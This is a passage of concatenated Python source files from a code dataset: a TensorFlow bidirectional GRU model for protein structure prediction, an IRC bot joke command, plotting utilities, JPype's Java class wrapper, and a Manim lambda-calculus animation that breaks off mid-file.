dtype=tf.float64) \n self.weight_f_p = tf.Variable(0.01 * tf.random_uniform(shape=[hidden_units, num_classes], maxval=1, dtype=tf.float64), dtype=tf.float64) \n self.weight_b_p = tf.Variable(0.01 * tf.random_uniform(shape=[hidden_units, num_classes], maxval=1, dtype=tf.float64), dtype=tf.float64) \n self.biases_f_c = tf.Variable(0.0000001 * tf.random_uniform(shape=[num_classes], dtype=tf.float64), dtype=tf.float64)\n self.biases_b_c = tf.Variable(0.0000001 * tf.random_uniform(shape=[num_classes], dtype=tf.float64), dtype=tf.float64)\n self.biases_f_p = tf.Variable(0.0000001 * tf.random_uniform(shape=[num_classes], dtype=tf.float64), dtype=tf.float64)\n self.biases_b_p = tf.Variable(0.0000001 * tf.random_uniform(shape=[num_classes], dtype=tf.float64), dtype=tf.float64)\n\t\t\n self.rnn_cell_f = rnn.GRUCell(num_units = hidden_units, \n \t\tactivation = tf.tanh)\n self.rnn_cell_b = rnn.GRUCell(num_units = hidden_units, \n \t\tactivation = tf.tanh)\n self.outputs, self.states = tf.nn.bidirectional_dynamic_rnn(\n \t\tcell_fw = self.rnn_cell_f,\n \t\tcell_bw = self.rnn_cell_b,\n \t\tinputs = self.input_x,\n \t\tsequence_length = self.input_seq_len,\n \t\tdtype = tf.float64,\n \t\tswap_memory = False)\n self.outputs_f = self.outputs[0]\n self.outputs_b = self.outputs[1]\n self.outputs_f_p_l = []\n self.outputs_b_p_l = []\n for i in range(700):\n # 50 dummies + seq + 50 dummies\n # For forward maxpooling, index i will have maxpool from i-50:i \n # Loss due to dummies will get maske completely \n self.outputs_f_p_l.append(tf.reduce_max(self.outputs_f[: , i:i+50, :],\n axis = 1))\n self.outputs_b_p_l.append(tf.reduce_max(self.outputs_b[: , i+51:i+101, :],\n \taxis = 1))\n self.outputs_f_p = tf.stack(self.outputs_f_p_l, axis = 1)\n self.outputs_b_p = tf.stack(self.outputs_b_p_l, axis = 1)\n self.outputs_f_c = tf.slice(self.outputs_f, [0, 50, 0], [ 5, 700, 100])\n self.outputs_b_c = tf.slice(self.outputs_b, [0, 50, 0], [ 5, 700, 100])\n\n self.outputs_f_c_r = tf.reshape(self.outputs_f_c, [-1, 100])\n self.outputs_b_c_r = tf.reshape(self.outputs_b_c, [-1, 100])\n self.outputs_f_p_r = tf.reshape(self.outputs_f_p, [-1, 100])\n self.outputs_b_p_r = tf.reshape(self.outputs_b_p, [-1, 100])\n\n self.y_predicted = ( tf.matmul(self.outputs_f_c_r, self.weight_f_c) + self.biases_f_c\n + tf.matmul(self.outputs_b_c_r, self.weight_b_c) + self.biases_b_c\n + tf.matmul(self.outputs_f_p_r, self.weight_f_p) + self.biases_f_p\n + tf.matmul(self.outputs_b_p_r, self.weight_b_p) + self.biases_b_p )\n # [ 5*700, 8] <- self.y_predicted \n self.input_y_o_s = tf.slice(self.input_y_o, [0, 50, 0], [ 5, 700, 8])\n self.input_msks_s = tf.slice(self.input_msks, [0, 50], [ 5, 700])\n # [ 5, 700, 8] <- self.input_y_o_s\n self.input_y_o_r = tf.reshape(self.input_y_o_s, [-1, 8])\n self.input_msks_r = tf.reshape(self.input_msks_s, [-1, 1])\n # [ 5*700, 8] <- self.input_y_o_r\n self.loss_unmasked = tf.reshape(tf.nn.softmax_cross_entropy_with_logits(logits=self.y_predicted, labels=self.input_y_o_r), [3500, 1])\n # dim: The class dimension. Defaulted to -1 \n # which is the last dimension.\n self.loss_masked = tf.multiply(self.loss_unmasked, self.input_msks_r)\n self.no_of_entries_unmasked = tf.reduce_sum(self.input_msks_r)\n self.loss_reduced = ( tf.reduce_sum(self.loss_masked) / self.no_of_entries_unmasked )\n\t\n self.get_equal_unmasked = tf.reshape(tf.equal(tf.argmax(self.input_y_o_r, 1), tf.argmax(self.y_predicted, 1)), [3500, 1])\n self.get_equal = tf.multiply(tf.cast(self.get_equal_unmasked, tf.float64), self.input_msks_r)\n self.accuracy = ( tf.reduce_sum(tf.cast(self.get_equal, tf.float64)) / self.no_of_entries_unmasked)\n\n # define optimizer and trainer\n self.optimizer_1 = tf.train.GradientDescentOptimizer(learning_rate = 0.1)\n self.trainer_1 = self.optimizer_1.minimize(self.loss_reduced)\n\n self.optimizer_2 = tf.train.GradientDescentOptimizer(learning_rate = 0.01)\n self.trainer_2 = self.optimizer_2.minimize(self.loss_reduced)\n\n self.optimizer_3 = tf.train.GradientDescentOptimizer(learning_rate = 0.001)\n self.trainer_3 = self.optimizer_3.minimize(self.loss_reduced)\n\n self.optimizer_mini = tf.train.AdamOptimizer(learning_rate = 0.000001)\n self.trainer_mini = self.optimizer_mini.minimize(self.loss_reduced)\n\n self.sess = tf.Session()\n self.init = tf.global_variables_initializer()\n self.sess.run(self.init)\n\n def optimize_mini(self, x, y, seq_len, msks):\n result, loss, accuracy, no_of_entries_unmasked = self.sess.run([self.trainer_mini,\n\t\tself.loss_reduced,\n\t\tself.accuracy,\n\t\tself.no_of_entries_unmasked],\n\t\tfeed_dict={self.input_x:x, \n\t\tself.input_y:y,\n\t\tself.input_seq_len:seq_len,\n\t\tself.input_msks:msks})\n return loss, accuracy, no_of_entries_unmasked\n\n def get_loss_and_predictions(self, x, y, seq_len, msks):\n loss_unmasked, loss_masked, loss_reduced, input_msks_r, y_predicted, input_y_o_r = self.sess.run([\n \tself.loss_unmasked,\n \tself.loss_masked,\n \tself.loss_reduced,\n \tself.input_msks_r,\n \tself.y_predicted,\n \tself.input_y_o_r],\n \tfeed_dict = {self.input_x:x, \n\t\tself.input_y:y,\n\t\tself.input_seq_len:seq_len,\n\t\tself.input_msks:msks})\n return loss_unmasked, loss_masked, loss_reduced, input_msks_r, y_predicted, input_y_o_r \n\n def get_shapes(self):\n \tprint(\"(self.loss_unmasked.shape)\", self.loss_unmasked.shape)\n \tprint(\"(self.loss_masked.shape)\", self.loss_masked.shape)\n \tprint(\"(self.loss_reduced.shape)\", self.loss_reduced.shape)\n \tprint(\"(self.y_predicted.shape)\", self.y_predicted.shape)\n \tprint(\"(self.input_y_o_r.shape)\", self.input_y_o_r.shape)\n \t# print(y.y_predicted.shape)\n \tprint(\"(self.input_msks_r.shape)\", self.input_msks_r.shape)\n \tprint(\"(self.get_equal_unmasked.shape)\", self.get_equal_unmasked.shape)\n \tprint(\"(self.get_equal.shape)\", self.get_equal.shape)\n\nif __name__==\"__main__\":\n data_train = get_data_train()\n # for batch_no in range(43):\n print(\"Creating model...\")\n model = BrnnForPsspModelOne()\n print(\"Model creation finished. \")\n model.get_shapes()\n n_epochs = 1000\n for epoch in range(n_epochs):\n for batch_no in range(2):\n print(\"Epoch number and batch_no: \", epoch, batch_no)\n data = data_train[batch_no]\n x_inp = data[0]\n y_inp = data[1]\n m_inp = data[2]\n l_inp = data[3]\n x_inp = x_inp[:5]\n y_inp = y_inp[:5]\n m_inp = m_inp[:5]\n l_inp = l_inp[:5]\n loss_unmasked, loss_masked, loss_reduced, input_msks_r, y_predicted, input_y_o_r = model.get_loss_and_predictions(x_inp, y_inp, l_inp, m_inp)\n print(\"Loss before optimizing : \", loss_reduced)\n loss, accuracy, no_of_entries_unmasked = model.optimize_mini(x_inp, y_inp, l_inp, m_inp)\n no_of_entries_unmasked_inp = 0\n for i in range(5):\n \tfor j in range(len(m_inp[i])):\n \t no_of_entries_unmasked_inp += m_inp[i][j]\n # print(dtype(loss_unmasked), dtype(loss_masked), dtype(loss_reduced), dtype(input_msks_r))\n ans = True\n \n # debug portion\n # for i in range(3500):\n # \tprint(loss_unmasked[i], loss_masked[i], input_msks_r[i], m_inp[i // 700][i % 700 + 50])\n # \tans = ans and (input_msks_r[i] == m_inp[i // 700][i % 700 + 50])\n # \tans = ans and (np.argmax(input_y_o_r[i], 0) == y_inp[i // 700][i % 700 + 50] or y_inp[i // 700][i % 700 + 50] == -1)\n # \tprint(y_predicted[i])\n # \tprint(input_y_o_r[i], y_inp[i // 700][i % 700 + 50])\n # \tif(ans == False):\n # \t\tdebug = input()\n # \tif(i % 700 == 699):\n # \t\tdebug = input()\n \n print(\"Loss, accuracy and verification results : \", loss, accuracy, ans)\n print(\"(no_of_entries_unmasked, no_of_entries_unmasked_inp)\", no_of_entries_unmasked, no_of_entries_unmasked_inp)\n\n\"\"\"\nEpoch number and batch_no: 0 0\nLoss, accuracy : 910.271072368 275.0\nEpoch number and batch_no: 0 1\nLoss, accuracy : 1281.51474569 291.0\nEpoch number and batch_no: 1 0\nLoss, accuracy : 890.325852686 279.0\nEpoch number and batch_no: 1 1\nLoss, accuracy : 1255.00815712 303.0\nEpoch number and batch_no: 2 0\nLoss, accuracy : 879.144031338 291.0\nEpoch number and batch_no: 2 1\nLoss, accuracy : 1239.58471894 314.0\nEpoch number and batch_no: 3 0\nLoss, accuracy : 874.015249401 278.0\nEpoch number and batch_no: 3 1\nLoss, accuracy : 1231.64421255 318.0\nEpoch number and batch_no: 4 0\nLoss, accuracy : 872.887020292 278.0\nEpoch number and batch_no: 4 1\nLoss, accuracy : 1228.63596089 326.0\nEpoch number and batch_no: 5 0\nLoss, accuracy : 874.31197826 283.0\nEpoch number and batch_no: 5 1\nLoss, accuracy : 1228.8423795 324.0\nEpoch number and batch_no: 6 0\nLoss, accuracy : 877.411856914 284.0\nEpoch number and batch_no: 6 1\nLoss, accuracy : 1231.18483386 323.0\nEpoch number and batch_no: 7 0\nLoss, accuracy : 881.312186267 283.0\nEpoch number and batch_no: 7 1\nLoss, accuracy : 1234.6607407 318.0\nEpoch number and batch_no: 8 0\nLoss, accuracy : 885.617966309 283.0\nEpoch number and batch_no: 8 1\nLoss, accuracy : 1238.65908374 318.0\nEpoch number and batch_no: 9 0\nLoss, accuracy : 889.887106462 280.0\nEpoch number and batch_no: 9 1\nLoss, accuracy : 1242.66251344 315.0\n\"\"\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"tfDos/3_july/model_1.py","file_name":"model_1.py","file_ext":"py","file_size_in_byte":10516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"240583963","text":"#!/usr/bin/env python\n# coding=utf-8\nfrom __future__ import unicode_literals, absolute_import, print_function, division\nimport sopel.module\nimport random\nimport sys\nimport os\nshareddir = os.path.dirname(os.path.dirname(__file__))\nsys.path.append(shareddir)\nfrom SpicebotShared import *\n\ntechmessages = [\"YOU MUST CONSTRUCT ADDITIONAL PYLONS!\",\n \"Have you tried flinging feces at it?\",\n \"Have you tried chewing the cable?\",\n \"Did you try turning it off and on again?\",\n \"Did you try licking the mouse? Double-lick?\",\n \"Did you try replacing all the ones with zeros?\",\n \"Try cooling it with a jug of water.\",\n \"Error: Keyboard not detected. Press 'F1' to continue.\",\n \"Instructions unclear, dick stuck in ceiling fan.\"]\n\n@sopel.module.commands('techsupport','itsupport')\ndef mainfunction(bot, trigger):\n enablestatus, triggerargsarray = spicebot_prerun(bot, trigger, trigger.group(1))\n if not enablestatus:\n execute_main(bot, trigger, triggerargsarray)\n \ndef execute_main(bot, trigger, triggerargsarray):\n answer = get_trigger_arg(bot, techmessages, 'random')\n bot.say(answer)\n","sub_path":"modules/Memes/TechSupport.py","file_name":"TechSupport.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"378859192","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 21 16:06:01 2020\n@author: aparravi\n\"\"\"\n\nimport scipy.stats as st\nimport pandas as pd\nimport matplotlib.pyplot as plt \nimport numpy as np\nimport os\n\n##############################\n# Colors #####################\n##############################\n\n# Define some colors for later use.\n# Tool to create paletters: https://color.adobe.com/create\n# Guide to make nice palettes: https://earthobservatory.nasa.gov/blogs/elegantfigures/2013/08/05/subtleties-of-color-part-1-of-6/\nCOLORS = dict(\n\n c1 = \"#b1494a\",\n c2 = \"#256482\",\n c3 = \"#2f9c5a\",\n c4 = \"#28464f\",\n \n r1 = \"#FA4D4A\",\n r2 = \"#FA3A51\",\n r3 = \"#F41922\",\n r4 = \"#CE1922\",\n r5 = \"#F07B71\",\n r6 = \"#F0A694\",\n r7 = \"#F78177\",\n \n b1 = \"#97E6DB\",\n b2 = \"#C6E6DB\",\n b3 = \"#CEF0E4\",\n b4 = \"#9CCFC4\",\n b5 = \"#AEDBF2\",\n b6 = \"#B0E6DB\",\n b7 = \"#B6FCDA\",\n b8 = \"#7bd490\",\n \n # Another blue-green palette;\n bb0 = \"#FFA685\",\n bb1 = \"#75B0A2\",\n bb2 = \"#CEF0E4\", # Same as b3; \n bb3 = \"#B6FCDA\", # Same as b7;\n bb4 = \"#7ED7B8\",\n bb5 = \"#7BD490\",\n \n y1 = \"#FFA728\",\n y2 = \"#FF9642\",\n y3 = \"#FFAB69\",\n \n peach1 = \"#FF9868\",\n \n bt1 = \"#55819E\",\n bt2 = \"#538F6F\",\n blue_klein = \"#002fa7\",\n )\n\n##############################\n# Functions ##################\n##############################\n\ndef get_exp_label(val) -> str: \n \"\"\"\n :param val: numeric label to format\n :return: label formatted in scientific notation\n \n Format a label in scientific notation, using Latex math font.\n For example, 10000 -> 10^4;\n \"\"\"\n # Get the power of 10\n exp_val = 0\n remaining_val = int(val)\n while (remaining_val % 10 == 0 and remaining_val > 0):\n exp_val += 1\n remaining_val = remaining_val // 10\n if remaining_val > 1:\n return r\"$\\mathdefault{\" + str(remaining_val) + r\"\\!·\\!{10}^\" + str(exp_val) + r\"}$\"\n else:\n return r\"$\\mathdefault{\" + r\"{10}^\" + str(exp_val) + r\"}$\"\n \n\ndef fix_label_length(labels: list, max_length: int=20) -> list:\n \"\"\"\n :param labels: a list of textual labels\n :return: a list of updated labels\n \n Ensure that all labels are shorter than a given length;\n \"\"\"\n fixed_labels = []\n for l in labels:\n if len(l) <= max_length:\n fixed_labels += [l]\n else:\n fixed_labels += [l[:max_length-3] + \"...\"]\n return fixed_labels\n\n\ndef remove_outliers(data, sigmas: int=3):\n \"\"\"\n :param data: a sequence of numerical data, iterable\n :param sigmas: number of standard deviations outside which a value is consider to be an outlier\n :return: data without outliers\n \n Filter a sequence of data by keeping only values within \"sigma\" standard deviations from the mean.\n This is a simple way to filter outliers, it is more useful for visualizations than for sound statistical analyses;\n \"\"\"\n return data[np.abs(st.zscore(data)) < sigmas]\n\n\ndef remove_outliers_df(data: pd.DataFrame, column: str, reset_index: bool = True, drop_index: bool = True, sigmas: int = 3) -> pd.DataFrame:\n \"\"\"\n :param data: a pd.DataFrame\n :param column: name of the column where data are filtered\n :param reset_index: if True, reset the index after filtering\n :param drop_index: if True, drop the index column after reset\n :param sigmas: number of standard deviations outside which a value is consider to be an outlier\n :return: data without outliers\n \n Filter a sequence of data by keeping only values within \"sigma\" standard deviations from the mean.\n This is a simple way to filter outliers, it is more useful for visualizations than for sound statistical analyses;\n \"\"\"\n col = data[column]\n res = data.loc[remove_outliers(col, sigmas).index]\n if reset_index:\n res = res.reset_index(drop=drop_index)\n return res\n\n\ndef remove_outliers_df_grouped(data: pd.DataFrame, column: str, group: list, reset_index: bool = True, drop_index: bool = True, sigmas: int = 3) -> pd.DataFrame:\n \"\"\"\n Same as \"remove_outliers_df\", but also filter values after divided by group;\n \"\"\"\n filtered = []\n for i, g in data.groupby(group, sort=False):\n filtered += [remove_outliers_df(g, column, reset_index, drop_index, sigmas)]\n return pd.concat(filtered)\n\n\ndef compute_speedup(X: pd.DataFrame, col_slow: str, col_fast: str, col_speedup: str) -> None:\n \"\"\"\n Add a column to a dataframe that represents a speedup,\n and \"col_slow\", \"col_fast\" are execution times (e.g. CPU and GPU execution time);\n \"\"\"\n X[col_speedup] = X[col_slow] / X[col_fast]\n \n \ndef get_ci_size(x, ci=0.95, estimator=np.mean):\n \"\"\"\n :param x: a sequence of numerical data, iterable\n :param ci: confidence interval to consider\n :return: size of upper confidence interval, size of lower confidence interval, mean\n \n Compute the size of the upper confidence interval,\n i.e. the size between the top of the bar and the top of the error bar as it is generated by seaborn.\n Useful for adding labels above error bars, or to create by hand the error bars;\n \"\"\" \n center = estimator(x)\n ci_lower, ci_upper = st.t.interval(ci, len(x) - 1, loc=center, scale=st.sem(x))\n return ci_upper - center, center - ci_lower, center\n\n\ndef get_upper_ci_size(x, ci=0.95, estimator=np.mean):\n return get_ci_size(x, ci, estimator=estimator)[0]\n \n \ndef add_labels(ax: plt.Axes, labels: list=None, vertical_offsets: list=None, patch_num: list=None, fontsize: int=14, rotation: int=0,\n skip_zero: bool=False, format_str: str=\"{:.2f}x\", label_color: str=\"#2f2f2f\"):\n \"\"\"\n :param ax: current axis, it is assumed that each ax.Patch is a bar over which we want to add a label\n :param labels: optional labels to add. If not present, add the bar height\n :param vertical_offsets: additional vertical offset for each label.\n Useful when displaying error bars (see @get_upper_ci_size), and for fine tuning\n :param patch_num: indices of patches to which we add labels, if some of them should be skipped\n :param fontsize: size of each label\n :param rotation: rotation of the labels (e.g. 90°)\n :param skip_zero: if True, don't put a label over the first bar\n :param format_str: format of each label, by default use speedup (e.g. 2.10x)\n :param label_color: hexadecimal color used for labels\n \n Used to add labels above barplots;\n \"\"\"\n if not vertical_offsets:\n # 5% above each bar, by default;\n vertical_offsets = [ax.get_ylim()[1] * 0.05] * len(ax.patches)\n if not labels:\n labels = [p.get_height() for p in ax.patches]\n patches = []\n if not patch_num:\n patches = ax.patches\n else:\n patches = [p for i, p in enumerate(ax.patches) if i in patch_num]\n \n # Iterate through the list of axes' patches\n for i, p in enumerate(patches):\n if labels[i] and (i > 0 or not skip_zero):\n ax.text(p.get_x() + p.get_width()/2., vertical_offsets[i] + p.get_height(), format_str.format(labels[i]), \n fontsize=fontsize, color=label_color, ha='center', va='bottom', rotation=rotation)\n \n\ndef update_width(ax: plt.Axes, width: float=1):\n \"\"\"\n Given an axis with a barplot, scale the width of each bar to the provided percentage,\n and align them to their center;\n \"\"\"\n for i, patch in enumerate(ax.patches):\n current_width = patch.get_width()\n diff = current_width - width\n # Change the bar width\n patch.set_width(width)\n # Recenter the bar\n patch.set_x(patch.get_x() + 0.5 * diff)\n \n \ndef save_plot(directory: str, filename: str, date: str = \"\", create_date_dir: bool = True, extension: list = [\"pdf\", \"png\"]):\n \"\"\"\n :param directory: where the plot is stored\n :param filename: should be of format 'myplot_{}.{}', where the first placeholder is used for the date and the second for the extension,\n or 'myplot.{}', or 'myplot.extension'\n :param date: date that should appear in the plot filename\n :param create_date_dir: if True, create a sub-folder with the date\n :param extension: list of extension used to store the plot\n \"\"\"\n \n output_folder = os.path.join(directory, date) if create_date_dir else directory\n if not os.path.exists(output_folder):\n os.mkdir(output_folder)\n \n for e in extension:\n plt.savefig(os.path.join(output_folder, filename.format(date, e) if date else filename.format(e)), dpi=300)","sub_path":"projects/resources/python/plotting/plot_utils.py","file_name":"plot_utils.py","file_ext":"py","file_size_in_byte":8582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"220381901","text":"# *****************************************************************************\n# Copyright 2004-2008 Steve Menard\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# *****************************************************************************\n\nimport _jpype\n\nfrom ._pykeywords import KEYWORDS\n\n\n_CLASSES = {}\n\n_SPECIAL_CONSTRUCTOR_KEY = \"This is the special constructor key\"\n\n_JAVAOBJECT = None\n_JAVATHROWABLE = None\n_COMPARABLE = None\n_RUNTIMEEXCEPTION = None\n\n_CUSTOMIZERS = []\n\n_COMPARABLE_METHODS = {\n \"__cmp__\": lambda self, o: self.compareTo(o)\n}\n\n\ndef _initialize():\n global _COMPARABLE, _JAVAOBJECT, _JAVATHROWABLE, _RUNTIMEEXCEPTION\n\n _JAVAOBJECT = JClass(\"java.lang.Object\")\n _JAVATHROWABLE = JClass(\"java.lang.Throwable\")\n _RUNTIMEEXCEPTION = JClass(\"java.lang.RuntimeException\")\n _jpype.setJavaLangObjectClass(_JAVAOBJECT)\n _jpype.setGetClassMethod(_getClassFor)\n _jpype.setSpecialConstructorKey(_SPECIAL_CONSTRUCTOR_KEY)\n\n\ndef registerClassCustomizer(c):\n _CUSTOMIZERS.append(c)\n\n\ndef JClass(name):\n jc = _jpype.findClass(name)\n if jc is None:\n raise _RUNTIMEEXCEPTION.PYEXC(\"Class %s not found\" % name)\n\n return _getClassFor(jc)\n\n\ndef _getClassFor(javaClass):\n name = javaClass.getName()\n if name in _CLASSES:\n return _CLASSES[name]\n\n pyJavaClass = _JavaClass(javaClass)\n _CLASSES[name] = pyJavaClass\n return pyJavaClass\n\n\ndef _javaNew(self, *args):\n return object.__new__(self)\n\n\ndef _javaExceptionNew(self, *args):\n return Exception.__new__(self)\n\n\ndef _javaInit(self, *args):\n object.__init__(self)\n\n if len(args) == 1 and isinstance(args[0], tuple) \\\n and args[0][0] is _SPECIAL_CONSTRUCTOR_KEY:\n self.__javaobject__ = args[0][1]\n else:\n self.__javaobject__ = self.__class__.__javaclass__.newClassInstance(\n *args)\n\n\ndef _javaGetAttr(self, name):\n try:\n r = object.__getattribute__(self, name)\n except AttributeError as ex:\n if name in dir(self.__class__.__metaclass__):\n r = object.__getattribute__(self.__class__, name)\n else:\n raise ex\n\n if isinstance(r, _jpype._JavaMethod):\n return _jpype._JavaBoundMethod(r, self)\n return r\n\n\nclass _JavaClass(type):\n def __new__(cls, jc):\n bases = []\n name = jc.getName()\n\n static_fields = {}\n members = {\n \"__javaclass__\": jc,\n \"__init__\": _javaInit,\n \"__str__\": lambda self: self.toString(),\n \"__hash__\": lambda self: self.hashCode(),\n \"__eq__\": lambda self, o: self.equals(o),\n \"__ne__\": lambda self, o: not self.equals(o),\n \"__getattribute__\": _javaGetAttr,\n }\n\n if name == 'java.lang.Object' or jc.isPrimitive():\n bases.append(object)\n elif not jc.isInterface():\n bjc = jc.getBaseClass(jc)\n bases.append(_getClassFor(bjc))\n\n if _JAVATHROWABLE is not None and jc.isSubclass(\"java.lang.Throwable\"):\n from . import _jexception\n members[\"PYEXC\"] = _jexception._makePythonException(name, bjc)\n\n itf = jc.getBaseInterfaces()\n for ic in itf:\n bases.append(_getClassFor(ic))\n\n if len(bases) == 0:\n bases.append(_JAVAOBJECT)\n\n # add the fields\n fields = jc.getClassFields()\n for i in fields:\n fname = i.getName()\n if fname in KEYWORDS:\n fname += \"_\"\n\n if i.isStatic():\n g = lambda self, fld=i: fld.getStaticAttribute()\n s = None\n if not i.isFinal():\n s = lambda self, v, fld=i: fld.setStaticAttribute(v)\n static_fields[fname] = property(g, s)\n else:\n g = lambda self, fld=i: fld.getInstanceAttribute(\n self.__javaobject__)\n s = None\n if not i.isFinal():\n s = lambda self, v, fld=i: fld.setInstanceAttribute(\n self.__javaobject__, v)\n members[fname] = property(g, s)\n\n # methods\n methods = jc.getClassMethods() # Return tuple of tuple (name, method).\n for jm in methods:\n mname = jm.getName()\n if mname in KEYWORDS:\n mname += \"_\"\n\n members[mname] = jm\n\n for i in _CUSTOMIZERS:\n if i.canCustomize(name, jc):\n i.customize(name, jc, bases, members)\n\n # remove multiple bases that would cause a MRO problem\n toRemove = set()\n for c in bases:\n for d in bases:\n if c == d:\n continue\n if issubclass(c, d):\n toRemove.add(d)\n\n for i in toRemove:\n bases.remove(i)\n\n # Prepare the meta-metaclass\n meta_bases = []\n for i in bases:\n if i is object:\n meta_bases.append(cls)\n else:\n meta_bases.append(i.__metaclass__)\n\n metaclass = type.__new__(type, name + \"$$Static\", tuple(meta_bases),\n static_fields)\n members['__metaclass__'] = metaclass\n result = type.__new__(metaclass, name, tuple(bases), members)\n\n return result\n","sub_path":"jpype/_jclass.py","file_name":"_jclass.py","file_ext":"py","file_size_in_byte":5820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"268476823","text":"from big_ol_pile_of_manim_imports import *\r\n\r\nclass OrdEvaluacion(Scene): \r\n def construct(self): \r\n #--------------------------------definicion de variables y su tamaño------------------------------------------------------\r\n aux = TextMobject(\"2\")\r\n aux.scale(.85)\r\n aux.set_color(WHITE)\r\n\r\n result = TexMobject(\"9\")\r\n result.scale(.85)\r\n\r\n result2 = TexMobject(\"9\")\r\n result2.scale(.85)\r\n\r\n result3 = TexMobject(\"9\")\r\n result3.scale(.85)\r\n\r\n result1 = TextMobject(\"3\")\r\n result1.scale(.85)\r\n \r\n tittle = TexMobject(\r\n \"(\",\"\\\\lambda\", \"x\",\".\",\"{ x }^{ 2 }\",\"\\\\quad\\\\quad\" ,\"(\",\"\\\\lambda\", \"x\",\".\",\"x\",\"+\",\"1\",\"\\\\quad\\\\quad\", \"2\",\")\",\")\"\r\n #0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16\r\n )\r\n tittle.scale(.85)\r\n\r\n subt1 = TextMobject(\"Normal\")\r\n subt1.scale(.85)\r\n subt2 = TextMobject(\"Aplicativo\")\r\n subt2.scale(.85)\r\n\r\n trans1 = TexMobject(\r\n \"(\",\"\\\\lambda\", \"x\",\".\",\"{ x }^{ 2 }\",\"\\\\quad\\\\quad\" ,\"(\",\"\\\\lambda\", \"x\",\".\",\"x\",\"+\",\"1\",\"\\\\quad\\\\quad\", \"2\",\")\",\")\"\r\n #0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16\r\n )\r\n trans1.scale(.85)\r\n\r\n\r\n\r\n #---------------------definicion de las posiciones de las funciones -----------------------------------------------------\r\n tittle.to_edge(UP)\r\n subt1.move_to(tittle.get_center()+(DOWN*1.5)+(RIGHT*4.5))\r\n subt2.move_to(tittle.get_center()+(DOWN*1.5)+(LEFT*4.5))\r\n result.move_to(tittle.get_center()+(DOWN*1.5)+(LEFT*4.5))\r\n trans1.next_to(subt1,DOWN,buff = .4)\r\n result.next_to(subt2,DOWN,buff=.4)\r\n result3.next_to(subt1,DOWN,buff=.4)\r\n \r\n \r\n #ya estan las posiciones de los titulos\r\n\r\n self.play(\r\n Write(tittle)\r\n )\r\n self.play(\r\n FadeIn(subt2),\r\n subt2.set_color,\"#19C4FF\" #AZUL\r\n )\r\n self.play(Write(result))\r\n\r\n self.wait(2)\r\n subt1.set_color(\"#2EFF00\") #VERDE\r\n self.play(\r\n FadeIn(subt1),\r\n Write(subt1)\r\n )\r\n self.wait(2)\r\n self.play(\r\n\t\t\tReplacementTransform(tittle[0].copy(),trans1[0]),\r\n\t\t\tReplacementTransform(tittle[1].copy(),trans1[1]),\r\n ReplacementTransform(tittle[2].copy(),trans1[2]),\r\n ReplacementTransform(tittle[3].copy(),trans1[3]),\r\n ReplacementTransform(tittle[4].copy(),trans1[4]),\r\n ReplacementTransform(tittle[5].copy(),trans1[5]),\r\n ReplacementTransform(tittle[6].copy(),trans1[6]),\r\n ReplacementTransform(tittle[7].copy(),trans1[7]),\r\n ReplacementTransform(tittle[8].copy(),trans1[8]),\r\n ReplacementTransform(tittle[9].copy(),trans1[9]),\r\n ReplacementTransform(tittle[10].copy(),trans1[10]),\r\n ReplacementTransform(tittle[11].copy(),trans1[11]),\r\n ReplacementTransform(tittle[12].copy(),trans1[12]),\r\n ReplacementTransform(tittle[13].copy(),trans1[13]),\r\n ReplacementTransform(tittle[14].copy(),trans1[14]),\r\n ReplacementTransform(tittle[15].copy(),trans1[15]),\r\n ReplacementTransform(tittle[16].copy(),trans1[16]),\r\n\t\t)\r\n self.wait(2)\r\n brace1 = Brace(trans1[5:16], DOWN, buff = .07)\r\n brace1.scale(.85)\r\n brace1.set_color(\"#FF0000\") #ROJO\r\n t1 = brace1.get_text(\"$M$\")\r\n t1.scale(.85)\r\n t1.set_color(\"#FF0000\")\r\n t1.next_to(brace1,DOWN,buff=.07)\r\n self.play(\r\n trans1[6:16].set_color,\"#FF0000\", \r\n GrowFromCenter(brace1),\r\n FadeIn(t1)\r\n )\r\n\r\n self.wait(2)\r\n brace2 = Brace(trans1[1:5], DOWN, buff = .07)\r\n brace2.scale(.85)\r\n brace2.set_color(\"#FFFF00\") #AMARILLO\r\n t2 = brace2.get_text(\"$E$\")\r\n t2.scale(.85)\r\n t2.set_color(\"#FFFF00\")\r\n t2.next_to(brace2,DOWN,buff=.07)\r\n self.play(\r\n trans1[4].set_color,\"#FFFF00\", #AMARILLO\r\n GrowFromCenter(brace2),\r\n FadeIn(t2[0])\r\n )\r\n\r\n self.wait(2)\r\n t12 = TextMobject(\"$E(M)$\")\r\n t12.scale(.85)\r\n t12.set_color(\"#FF7000\") #NARANJA\r\n t12.next_to(brace2,DOWN,buff=.07)\r\n self.play(\r\n FadeOut(t1),\r\n FadeOut(brace1),\r\n brace2.set_color,\"#FF700\",\r\n ReplacementTransform(t2,t12)\r\n )\r\n\r\n self.wait(2)\r\n trans1_a = TexMobject(\r\n r\"{ (\\lambda x.x+1\\quad \\quad 2) }^{ 2 }\"\r\n # 0 1 23456 78 9\r\n )\r\n trans1_a.scale(.85)\r\n trans1_a.set_color(\"#FF700\")\r\n trans1_a.next_to(trans1,DOWN,buff=.4)\r\n\r\n self.play(\r\n FadeOut(brace2),\r\n\t\t\tReplacementTransform(t12,trans1_a)\r\n\t\t)\r\n\r\n self.wait(2)\r\n self.play(\r\n trans1_a[7].set_color,\"#C9FF00\" #VERDE MENTA\r\n )\r\n\r\n self.wait(2)\r\n self.play(\r\n trans1_a[4:7].set_color,\"C9FF00\"\r\n )\r\n self.wait(2)\r\n trans1_b = TexMobject(\r\n 